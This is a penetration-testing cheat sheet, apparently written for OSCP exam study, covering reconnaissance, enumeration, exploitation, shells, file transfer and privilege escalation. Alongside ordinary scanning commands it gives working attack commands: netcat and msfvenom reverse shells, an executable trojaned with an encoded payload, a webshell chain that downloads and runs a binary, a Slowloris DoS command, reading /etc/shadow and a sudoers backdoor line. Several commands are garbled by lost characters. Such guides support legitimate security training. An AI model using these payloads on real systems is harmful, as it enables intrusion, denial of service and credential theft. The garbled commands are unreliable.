OSCP Fun Guide

Table of Contents

  • Kali Linux
  • Information Gathering & Vulnerability Scanning
    • Passive Information Gathering
    • Active Information Gathering
    • Port Scanning
    • Enumeration
    • HTTP Enumeration
  • Buffer Overflows and Exploits
  • Shells
  • File Transfers
  • Privilege Escalation
    • Linux Privilege Escalation
    • Windows Privilege Escalation
  • Client, Web and Password Attacks
    • Client Attacks
    • Web Attacks
    • File Inclusion Vulnerabilities LFI/RFI
    • Database Vulnerabilities
    • Password Attacks
    • Password Hash Attacks
  • Networking, Pivoting and Tunneling
  • The Metasploit Framework
  • Bypassing Antivirus Software

Kali Linux

  • Set the Target IP Address to the $ip system variable
    export ip=
  • Find the location of a file
    locate sbd.exe
  • Search through directories in the $PATH environment variable
    which sbd
  • Find a search for a file that contains a specific string in it’s name:
    find / -name sbd*
  • Show active internet connections
    netstat -lntp
  • Change Password
  • Verify a service is running and listening
    netstat -antp |grep apache
  • Start a service
    systemctl start sshsystemctl start apache2
  • Have a service start at boot
    systemctl enable ssh
  • Stop a service
    systemctl stop ssh
  • Unzip a gz file
    gunzip access.log.gz
  • Unzip a tar.gz file
    tar -xzvf file.tar.gz
  • Search command history
    history | grep phrase_to_search_for
  • Download a webpage
    wget http://www.cisco.com
  • Open a webpage
    curl http://www.cisco.com
  • String manipulation
    • Count number of lines in file
      wc -l index.html
    • Get the start or end of a file
      head index.htmltail index.html
    • Extract all the lines that contain a string
      grep "href=" index.html
    • Cut a string by a delimiter, filter results then sort
      grep "href=" index.html | cut -d "/" -f 3 | grep "\." | cut -d '"' -f 1 | sort -u
    • Using Grep and regular expressions and output to a file
      cat index.html | grep -o 'http://[^"]*' | cut -d "/" -f 3 | sort –u > list.txt
    • Use a bash loop to find the IP address behind each host
      for url in $(cat list.txt); do host $url; done
    • Collect all the IP Addresses from a log file and sort by frequency
      cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn
  • Decoding using Kali
    • Decode Base64 Encoded Valuesecho -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode
    • Decode Hexidecimal Encoded Values
      echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps
  • Netcat – Read and write TCP and UDP Packets
    • Download Netcat for Windows (handy for creating reverse shells and transfering files on windows systems):https://joncraton.org/blog/46/netcat-for-windows/
    • Connect to a POP3 mail server
      nc -nv $ip 110
    • Listen on TCP/UDP port
      nc -nlvp 4444
    • Connect to a netcat port
      nc -nv $ip 4444
    • Send a file using netcat
      nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe
    • Receive a file using netcat
      nc -nlvp 4444 > incoming.exe
    • Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for that…
    • Create a reverse shell with Ncat using cmd.exe on Windows
      nc.exe -nlvp 4444 -e cmd.exeornc.exe -nv <Remote IP> <Remote Port> -e cmd.exe
    • Create a reverse shell with Ncat using bash on Linux
      nc -nv $ip 4444 -e /bin/bash
    • Netcat for Banner Grabbing:echo "" | nc -nv -w1 <IP Address> <Ports>
  • Ncat – Netcat for Nmap project which provides more security avoid IDS
    • Reverse shell from windows using cmd.exe using ssl
      ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl
    • Listen on port 4444 using ssl
      ncat -v $ip 4444 --ssl
  • Wireshark
    • Show only SMTP (port 25) and ICMP traffic:tcp.port eq 25 or icmp
    • Show only traffic in the LAN (192.168.x.x), between workstations and servers — no Internet:ip.src== and ip.dst==
    • Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs:ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip
    • Some commands are equalip.addr == xxx.xxx.xxx.xxxEqualsip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxx

      ip.addr != xxx.xxx.xxx.xxx


      ip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx

  • Tcpdump
    • Display a pcap file
      tcpdump -r passwordz.pcap
    • Display ips and filter and sort
      tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head
    • Grab a packet capture on port 80
      tcpdump tcp port 80 -w output.pcap -i eth0
    • Check for ACK or PSH flag set in a TCP packet
      tcpdump -A -n 'tcp[13] = 24' -r passwordz.pcap
  • IPTables
    • Deny traffic to ports except for Local Loopbackiptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROPiptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP
    • Clear ALL IPTables firewall rules

Information Gathering & Vulnerability Scanning

  • Passive Information Gathering

  • Google Hacking
    • Google search to find website sub domains
    • Google filetype, and intitle
      intitle:"netbotz appliance" "OK" -filetype:pdf
    • Google inurl
    • Google Hacking Database:
  • SSL Certificate Testing
  • Email Harvesting
    • Simply Email
      git clone https://github.com/killswitch-GUI/SimplyEmail.git./SimplyEmail.py -all -e TARGET-DOMAIN
  • Netcraft
  • Whois Enumeration
    whois domain-name-here.comwhois $ip
  • Banner Grabbing
    • nc -v $ip 25
    • telnet $ip 25
    • nc TARGET-IP 80
  • Recon-ng – full-featured web reconnaissance framework written in Python
    • cd /opt; git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.gitcd /opt/recon-ng./recon-ngshow modules


  • Active Information Gathering

  • Port Scanning

Subnet Reference Table

/ Addresses Hosts Netmask Amount of a Class C
/30 4 2 1/64
/29 8 6 1/32
/28 16 14 1/16
/27 32 30 1/8
/26 64 62 1/4
/25 128 126 1/2
/24 256 254 1
/23 512 510 2
/22 1024 1022 4
/21 2048 2046 8
/20 4096 4094 16
/19 8192 8190 32
/18 16384 16382 64
/17 32768 32766 128
/16 65536 65534 256
  • Set the ip address as a variable
    export ip= nmap -A -T4 -p- $ip
  • Netcat port Scanning
    nc -nvv -w 1 -z $ip 3388-3390
  • Discover active IPs usign ARP on the network: arp-scan $ip/24
  • Discover who else is on the network
  • Discover IP Mac and Mac vendors from ARP
    netdiscover -r $ip/24
  • Nmap stealth scan using SYN
    nmap -sS $ip
  • Nmap stealth scan using FIN
    nmap -sF $ip
  • Nmap Banner Grabbing
    nmap -sV -sT $ip
  • Nmap OS Fingerprinting
    nmap -O $ip
  • Nmap Regular Scan:
    nmap $ip/24
  • Enumeration Scan
    nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt
  • Enumeration Scan All Ports TCP / UDP and output to a txt file
    nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip
  • Nmap output to a file:
    nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24
  • Quick Scan:
    nmap -T4 -F $ip/24
  • Quick Scan Plus:
    nmap -sV -T4 -O -F --version-light $ip/24
  • Quick traceroute
    nmap -sn --traceroute $ip
  • All TCP and UDP Ports
    nmap -v -sU -sS -p- -A -T4 $ip
  • Intense Scan:
    nmap -T4 -A -v $ip
  • Intense Scan Plus UDP
    nmap -sS -sU -T4 -A -v $ip/24
  • Intense Scan ALL TCP Ports
    nmap -p 1-65535 -T4 -A -v $ip/24
  • Intense Scan – No Ping
    nmap -T4 -A -v -Pn $ip/24
  • Ping scan
    nmap -sn $ip/24
  • Slow Comprehensive Scan
    nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $ip/24
  • Scan with Active connect in order to weed out any spoofed ports designed to troll you
    nmap -p1-65535 -A -T5 -sT $ip
  • Enumeration

  • DNS Enumeration
    • NMAP DNS Hostnames Lookup nmap -F --dns-server <dns server ip> <target ip range>
    • Host Lookup
      host -t ns megacorpone.com
    • Reverse Lookup Brute Force – find domains in the same range
      for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"
    • Perform DNS IP Lookup
      dig a domain-name-here.com @nameserver
    • Perform MX Record Lookup
      dig mx domain-name-here.com @nameserver
    • Perform Zone Transfer with DIG
      dig axfr domain-name-here.com @nameserver
    • DNS Zone Transfers
      Windows DNS zone transfernslookup -> set type=any -> ls -d blah.comLinux DNS zone transferdig axfr blah.com @ns1.blah.com
    • Dnsrecon DNS Brute Force
      dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
    • Dnsrecon DNS List of megacorp
      dnsrecon -d megacorpone.com -t axfr
    • DNSEnum
      dnsenum zonetransfer.me
  • NMap Enumeration Script List:
  • NFS (Network File System) Enumeration
    • Show Mountable NFS Shares nmap -sV --script=nfs-showmount $ip
  • RPC (Remote Procedure Call) Enumeration
    • Connect to an RPC share without a username and password and enumerate privledges rpcclient --user="" --command=enumprivs -N $ip
    • Connect to an RPC share with a username and enumerate privledges rpcclient --user="<Username>" --command=enumprivs $ip
  • SMB Enumeration
    • SMB OS Discovery
      nmap $ip --script smb-os-discovery.nse
    • Nmap port scan
      nmap -v -p 139,445 -oG smb.txt $ip-254
    • Netbios Information Scanning
      nbtscan -r $ip/24
    • Nmap find exposed Netbios servers
      nmap -sU --script nbstat.nse -p 137 $ip
    • Nmap all SMB scripts scannmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip
    • Nmap all SMB scripts authenticated scannmap -sV -Pn -vv -p 445 --script-args smbuser=<username>,smbpass=<password> --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip
    • SMB Enumeration Tools
      nmblookup -A $ipsmbclient //MOUNT/share -I $ip -Nrpcclient -U "" $ipenum4linux $ip

      enum4linux -a $ip

    • SMB Finger Printing
      smbclient -L //$ip
    • Nmap Scan for Open SMB Shares
      nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445
    • Nmap scans for vulnerable SMB Servers
      nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip
    • Nmap List all SMB scripts installed
      ls -l /usr/share/nmap/scripts/smb*
    • Enumerate SMB Usersnmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14ORpython /usr/share/doc/python-impacket-doc/examples /samrdump.py $ip
    • RID Cycling – Null Sessions
      ridenum.py $ip 500 50000 dict.txt
    • Manual Null Session TestingWindows: net use \$ipIPC$ "" /u:""Linux: smbclient -L //$ip
  • SMTP Enumeration – Mail Severs
    • Verify SMTP port using Netcat
      nc -nv $ip 25
  • POP3 Enumeration – Reading other peoples mail – You may find usernames and passwords for email accounts, so here is how to check the mail using Telnet

  • SNMP Enumeration -Simple Network Management Protocol
    • Fix SNMP output values so they are human readable
      apt-get install snmp-mibs-downloader download-mibs echo "" > /etc/snmp/snmp.conf
    • SNMP Enumeration Commands
      • snmpcheck -t $ip -c public
      • snmpwalk -c public -v1 $ip 1|
      • grep hrSWRunName|cut -d* * -f
      • snmpenum -t $ip
      • onesixtyone -c names -i hosts
    • SNMPv3 Enumeration
      nmap -sV -p 161 --script=snmp-info $ip/24
    • Automate the username enumeration process for SNMPv3:
      apt-get install snmp snmp-mibs-downloader wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
    • SNMP Default Credentials
  • MS SQL Server Enumeration
    • Nmap Information Gatheringnmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER $ip
  • Webmin and miniserv/0.01 Enumeration – Port 10000Test for LFI & file disclosure vulnerability by grabbing /etc/passwd

    Test to see if webmin is running as root by grabbing /etc/shadow

  • Linux OS Enumeration
    • List all SUID files
      find / -perm -4000 2>/dev/null
    • Determine the current version of Linux
      cat /etc/issue
    • Determine more information about the environment
      uname -a
    • List processes running
      ps -xaf
    • List the allowed (and forbidden) commands for the invoking use
      sudo -l
    • List iptables rules
      iptables --table nat --list iptables -vL -t filter iptables -vL -t nat iptables -vL -t mangle iptables -vL -t raw iptables -vL -t security
  • Windows OS Enumeration
    • net config Workstation
    • systeminfo | findstr /B /C:”OS Name” /C:”OS Version”
    • hostname
    • net users
    • ipconfig /all
    • route print
    • arp -A
    • netstat -ano
    • netsh firewall show state
    • netsh firewall show config
    • schtasks /query /fo LIST /v
    • tasklist /SVC
    • net start
    • reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated
    • reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated
    • dir /s pass == cred == vnc == .config
    • findstr /si password .xml .ini *.txt
    • reg query HKLM /f password /t REG_SZ /s
    • reg query HKCU /f password /t REG_SZ /s
  • Vulnerability Scanning with Nmap
  • Nmap Exploit Scripts
  • Nmap search through vulnerability scripts
    cd /usr/share/nmap/scripts/ ls -l *vuln*
  • Nmap search through Nmap Scripts for a specific keyword
    ls /usr/share/nmap/scripts/* | grep ftp
  • Scan for vulnerable exploits with nmap
    nmap --script exploit -Pn $ip
  • NMap Auth Scripts
  • Nmap Vuln Scanning
  • NMap DOS Scanning
    nmap --script dos -Pn $ip NMap Execute DOS Attack nmap --max-parallelism 750 -Pn --script http-slowloris --script-args http-slowloris.runforever=true
  • Scan for coldfusion web vulnerabilities
    nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip
  • Anonymous FTP dump with Nmap
    nmap -v -p 21 --script=ftp-anon.nse $ip-254
  • SMB Security mode scan with Nmap
    nmap -v -p 21 --script=ftp-anon.nse $ip-254
  • File Enumeration
    • Find UID 0 files root execution
    • /usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
    • Get handy linux file system enumeration script (/var/tmp)
      wget https://highon.coffee/downloads/linux-local-enum.sh chmod +x ./linux-local-enum.sh ./linux-local-enum.sh
    • Find executable files updated in August
      find / -executable -type f 2> /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug
    • Find a specific file on linux
      find /. -name suid*
    • Find all the strings in a file
      strings <filename>
    • Determine the type of a file
      file <filename>
  • HTTP Enumeration

    • Search for folders with gobuster:
      gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip
    • OWasp DirBuster – Http folder enumeration – can take a dictionary file
    • Dirb – Directory brute force finding using a dictionary file
      dirb http://$ip/ wordlist.dict dirb <http://vm/>Dirb against a proxy
    • dirb [http://$ip/]( -p $ip:3129
    • Nikto
      nikto -h $ip
    • HTTP Enumeration with NMAP
      nmap --script=http-enum -p80 -n $ip/24
    • Nmap Check the server methods
      nmap --script http-methods --script-args http-methods.url-path='/test' $ip
    • Get Options available from web server curl -vX OPTIONS vm/test
    • Uniscan directory finder:
      uniscan -qweds -u <http://vm/>
    • Wfuzz – The web brute forcerwfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?FUZZ=testwfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?page=FUZZwfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt "$ip:60080/?page=mailer&mail=FUZZ"

      wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 404 $ip/FUZZ

      Recurse level 3

      wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt -R 3 --sc 200 $ip/FUZZ

  • Open a service using a port knock (Secured with Knockd)
    for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x server_ip_address; done
  • WordPress Scan – WordPress security scanner
    • wpscan –url $ip/blog –proxy $ip:3129
  • RSH Enumeration – Unencrypted file transfer system
    • auxiliary/scanner/rservices/rsh_login
  • Finger Enumeration
    • finger @$ip
    • finger batman@$ip
  • TLS & SSL Testing
    • ./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip | aha > OUTPUT-FILE.html
  • Proxy Enumeration (useful for open proxies)
  • Steganography

apt-get install steghide

steghide extract -sf picture.jpg

steghide info picture.jpg

apt-get install stegosuite

  • The OpenVAS Vulnerability Scanner
    • apt-get update
      apt-get install openvas
    • netstat -tulpn
    • Login at:

Buffer Overflows and Exploits

  • DEP and ASLR – Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR)
  • Nmap Fuzzers:
    • NMap Fuzzer List
    • NMap HTTP Form Fuzzer
      nmap –script http-form-fuzzer –script-args ‘http-form-fuzzer.targets={1={path=/},2={path=/register.html}}’ -p 80 $ip
    • Nmap DNS Fuzzer
      nmap –script dns-fuzz –script-args timelimit=2h $ip -d
  • MSFvenom
  • Windows Buffer Overflows
    • Controlling EIP
    • Verify exact location of EIP – [*] Exact match at offset 2606
    • Check for “Bad Characters” – Run multiple times 0x00 – 0xFF
    • Use Mona to determine a module that is unprotected
    • Bypass DEP if present by finding a Memory Location with Read and Execute access for JMP ESP
    • Use NASM to determine the HEX code for a JMP ESP instruction
    • Run Mona in immunity log window to find (FFE4) XEF command
    • MSFVenom to create payload
    • Final Payload with NOP slide
    • Create a PE Reverse Shell
      msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
      exe -o shell_reverse.exe
    • Create a PE Reverse Shell and Encode 9 times with Shikata_ga_nai
      msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
      exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe
    • Create a PE reverse shell and embed it into an existing executable
      msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
    • Create a PE Reverse HTTPS shell
      msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 -f exe -o met_https_reverse.exe
  • Linux Buffer Overflows
    • Run Evans Debugger against an app
      edb –run /usr/games/crossfire/bin/crossfire
    • ESP register points toward the end of our CBuffer
      add eax,12
      jmp eax
      83C00C add eax,byte +0xc
      FFE0 jmp eax
    • Check for “Bad Characters” Process of elimination – Run multiple times 0x00 – 0xFF
    • Find JMP ESP address
      “x97x45x13x08” # Found at Address 08134597
    • crash = “x41” * 4368 + “x97x45x13x08” + “x83xc0x0cxffxe0x90x90”
    • msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b “x00x0ax0dx20” –e x86/shikata_ga_nai
    • Connect to the shell with netcat:
      nc -v $ip 4444


  • Netcat Shell Listenernc -nlvp 4444
  • Spawning a TTY Shell – Break out of Jail or limited shell You should almost always upgrade your shell after taking control of an apache or www user.

    • You may encounter limited shells that use rbash and only allow you to execute a single command per session. You can overcome this by executing an SSH shell to your localhost:

    python -c 'import pty; pty.spawn("/bin/sh")'

    echo os.system('/bin/bash')

    /bin/sh -i

    perl —e 'exec "/bin/sh";'

    perl: exec "/bin/sh";

    ruby: exec "/bin/sh"

    lua: os.execute('/bin/sh')

    From within IRB: exec "/bin/sh"

    From within vi: :!bash or

    :set shell=/bin/bash:shell

    From within vim ':!bash':

    From within nmap: !sh

    From within tcpdump

    From busybox /bin/busybox telnetd -|/bin/sh -p9999

  • Pen test monkey PHP reverse shell
  • php-findsock-shell – turns PHP port 80 into an interactive shell
  • Perl Reverse Shell
  • PHP powered web browser Shell b374k with file upload etc.
  • Windows reverse shell – PowerSploit’s Invoke-Shellcode script and inject a Meterpreter shellhttps://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1
  • Web Backdoors from Fuzzdb https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors
  • Creating Meterpreter Shells with MSFVenom – http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-msfvenom-payloads/Linuxmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elfWindows

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe


    msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

    Web Payloads


    msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php


    msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

    Then we need to add the <?php at the first line of the file so that it will execute as a PHP webpage:

    cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php


    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp


    msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp


    msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

    Scripting Payloads


    msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py


    msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh


    msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl


    For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

    Linux Based Shellcode

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

    Windows Based Shellcode

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

    Mac Based Shellcode

    msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

    Handlers Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

    Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘

  • SSH to Meterpreter: https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/

  • SBD.exesbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only. sbd.exe (part of the Kali linux distribution: /usr/share/windows-binaries/backdoors/sbd.exe) can be uploaded to a windows box as a Netcat alternative.
  • Shellshock
    • Testing for shell shock with NMap

    root@kali:~/Documents# nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/admin.cgi $ip

    ./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

    • Shell Shock SSH Forced Command
      Check for forced command by enabling all debug output with ssh
    • cat file (view file contents)
    • Shell Shock run bind shell

File Transfers

  • Post exploitation refers to the actions performed by an attacker, once some level of control has been gained on his target.
  • Simple Local Web Servers
    • Run a basic http server, great for serving up shells etc
      python -m SimpleHTTPServer 80
    • Run a basic Python3 http server, great for serving up shells etc
      python3 -m http.server
    • Run a ruby webrick basic http server
      ruby -rwebrick -e “WEBrick::HTTPServer.new
      (:Port => 80, :DocumentRoot => Dir.pwd).start”
    • Run a basic PHP http server
      php -S $ip:80
  • Creating a wget VB Script on Windows:
  • Windows file transfer script that can be pasted to the command line. File transfers to a Windows machine can be tricky without a Meterpreter shell. The following script can be copied and pasted into a basic windows reverse and used to transfer files from a web server (the timeout 1 commands are required after each new line):

    The file can be run using the following syntax:

    C:tempcscript.exe webdl.vbs

  • Mounting File Shares
    • Mount NFS share to /mnt/nfs
      mount $ip:/vol/share /mnt/nfs
  • HTTP Put
    nmap -p80 $ip –script http-put –script-args http-put.url=’/test/sicpwn.php’,http-put.file=’/var/www/html/sicpwn.php
  • Uploading Files

    • SCPscp username1@source_host:directory1/filename1 username2@destination_host:directory2/filename2scp localfile username@$ip:~/Folder/scp Linux_Exploit_Suggester.pl bob@
    • Webdav with Davtest- Some sysadmins are kind enough to enable the PUT method – This tool will auto upload a backdoordavtest -move -sendbd auto -url http://$iphttps://github.com/cldrn/davtestYou can also upload a file using the PUT method with the curl command:

      curl -T 'leetshellz.txt' 'http://$ip'

      And rename it to an executable file using the MOVE method with the curl command:

      curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt'

    • Upload shell using limited php shell cmd
      use the webshell to download and execute the meterpreter
      [curl -s –data “cmd=wget -O /tmp/evil” http://$ip/files/sh.php
      [curl -s –data “cmd=chmod 777 /tmp/evil” http://$ip/files/sh.php
      curl -s –data “cmd=bash -c /tmp/evil” http://$ip/files/sh.php
    • TFTP
      mkdir /tftp
      atftpd –daemon –port 69 /tftp
      cp /usr/share/windows-binaries/nc.exe /tftp/
      C:UsersOffsec>tftp -i $ip get nc.exe
    • FTP
      apt-get update && apt-get install pure-ftpd


      groupadd ftpgroup
      useradd -g ftpgroup -d /dev/null -s /etc ftpuser
      pure-pw useradd offsec -u ftpuser -d /ftphome
      pure-pw mkdb
      cd /etc/pure-ftpd/auth/
      ln -s ../conf/PureDB 60pdb
      mkdir -p /ftphome
      chown -R ftpuser:ftpgroup /ftphome/

      /etc/init.d/pure-ftpd restart

  • Packing Files

Privilege Escalation

Password reuse is your friend. The OSCP labs are true to life, in the way that the users will reuse passwords across different services and even different boxes. Maintain a list of cracked passwords and test them on new machines you encounter.

  • Linux Privilege Escalation

  • Defacto Linux Privilege Escalation Guide – A much more through guide for linux enumeration:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
  • Try the obvious – Maybe the user is root or can sudo to root:idsudo su
  • Here are the commands I have learned to use to perform linux enumeration and privledge escalation:What users can login to this box (Do they use thier username as thier password)?:grep -vE "nologin|false" /etc/passwdWhat kernel version are we using? Do we have any kernel exploits for this version?

    uname -a

    searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"

    What applications have active connections?:

    netstat -tulpn

    What services are running as root?:

    ps aux | grep root

    What files run as root / SUID / GUID?:

    What folders are world writeable?:

  • There are a few scripts that can automate the linux enumeration process:
    • Google is my favorite Linux Kernel exploitation search tool. Many of these automated checkers are missing important kernel exploits which can create a very frustrating blindspot during your OSCP course.
    • LinuxPrivChecker.py – My favorite automated linux priv enumeration checker –https://www.securitysift.com/download/linuxprivchecker.py
    • LinEnum – (Recently Updated)


    • linux-exploit-suggester (Recently Updated)


    • Highon.coffee Linux Local Enum – Great enumeration script!wget https://highon.coffee/downloads/linux-local-enum.sh
    • Linux Privilege Exploit Suggester (Old has not been updated in years)


    • Linux post exploitation enumeration and exploit checking tools


Handy Kernel Exploits

  • CVE-2010-2959 – ‘CAN BCM’ Privilege Escalation – Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32)https://www.exploit-db.com/exploits/14814/
  • CVE-2010-3904 – Linux RDS Exploit – Linux Kernel <= 2.6.36-rc8
  • CVE-2012-0056 – Mempodipper – Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
    Linux CVE 2012-0056
  • CVE-2016-5195 – Dirty Cow – Linux Privilege Escalation – Linux Kernel <= 3.19.0-73.8
    First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016
  • Run a command as a user other than root
  • Add a user or change a password
  • Local Privilege Escalation Exploit in Linux
    • SUID (Set owner User ID up on execution)
      Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.below are some quick copy and paste examples for various shells:
    • Create and compile an SUID from a limited shell (no file transfer)
  • Handy command if you can get a root user to run it. Add the www-data user to Root SUDO group with no password requirement:echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
  • You may find a command is being executed by the root user, you may be able to modify the system PATH environment variable to execute your command instead. In the example below, ssh is replaced with a reverse shell SUID connecting to on port 4444.
  • SearchSploit
  • Kernel Exploit Suggestions for Kernel Version 3.0.0./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0
  • Precompiled Linux Kernel Exploits – Super handy if GCC is not installed on the target machine!https://www.kernel-exploits.com/
  • Collect root passwordcat /etc/shadow |grep root
  • Find and display the proof.txt or flag.txt – LOOT!
  • Windows Privilege Escalation

  • Windows Privilege Escalation resource http://www.fuzzysecurity.com/tutorials/16.html
  • Metasploit Meterpreter Privilege Escalation Guide https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/
  • Try the obvious – Maybe the user is SYSTEM or is already part of the Administrator group:whoaminet user "%username%"
  • Try the getsystem command using meterpreter – rarely works but is worth a try.meterpreter > getsystem
  • No File Upload Required Windows Privlege Escalation Basic Information Gathering (based on the fuzzy security tutorial and windows_privesc_check.py).Copy and paste the following contents into your remote Windows shell in Kali to generate a quick report:
  • Windows Server 2003 and IIS 6.0 WEBDAV Exploiting http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-60.html
  • Windows privledge escalation exploits are often written in Python. So, it is necessary to compile the using pyinstaller.py into an executable and upload them to the remote server.
  • Windows Server 2003 and IIS 6.0 privledge escalation using impersonation:https://www.exploit-db.com/exploits/6705/https://github.com/Re4son/Churrasco
  • Windows MS11-080 – http://www.exploit-db.com/exploits/18176/
  • Powershell Exploits – You may find that some Windows privledge escalation exploits are written in Powershell. You may not have an interactive shell that allows you to enter the powershell prompt. Once the powershell script is uploaded to the server, here is a quick one liner to run a powershell command from a basic (cmd.exe) shell:MS16-032 https://www.exploit-db.com/exploits/39719/powershell -ExecutionPolicy ByPass -command "& { . C:UsersPublicInvoke-MS16-032.ps1; Invoke-MS16-032 }"
  • Powershell Priv Escalation Tools https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
